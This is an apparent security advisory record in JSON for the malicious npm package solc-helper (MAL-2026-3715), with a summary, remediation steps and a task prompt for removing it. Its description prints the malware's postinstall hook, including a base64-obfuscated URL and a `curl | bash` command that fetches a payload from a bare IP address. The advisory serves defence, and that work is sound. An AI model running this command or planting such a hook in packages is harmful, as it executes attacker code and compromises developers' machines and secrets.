{"answers":{"affected":"1 open source package ship an affected version, including solc-helper.","exploited":"There is no known exploitation of MAL-2026-3715 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-3715 is a malicious package in solc-helper, published on 13 May 2026."},"fix_prompt":"MAL-2026-3715 is a malicious package: solc-helper (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-3715/ (Markdown: https://insights.sbomify.com/MAL-2026-3715/index.md)","id":"MAL-2026-3715","markdown":"https://insights.sbomify.com/MAL-2026-3715/index.md","name":"MAL-2026-3715","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json's postinstall lifecycle script runs `node -e` to base64-decode a hidden URL and pipe its contents to bash: `curl -s http://8.217.75.147:3000/payload | bash`. The URL is obfuscated via `Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString()` which decodes to `http://8.217.75.147:3000/payload`. Every `npm install solc-helper` triggers this unattended download-and-execute of attacker-controlled shell code from a bare IP over plaintext HTTP, with no integrity check. Multiple independent block signals stack: bare-IP C2, plaintext HTTP, base64-obfuscated URL inside a lifecycle hook, `curl | bash` pattern, and no legitimate functionality advertised by the package to justify any network activity.\n\nThe OpenSSF Package Analysis project identified 'solc-helper' @ 2.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in solc-helper (npm)","id":"MAL-2026-3715","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"solc-helper","purl":"pkg:npm/solc-helper","source":"MAL-2026-3715"}],"products":null,"published":"2026-05-13","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-3715/"}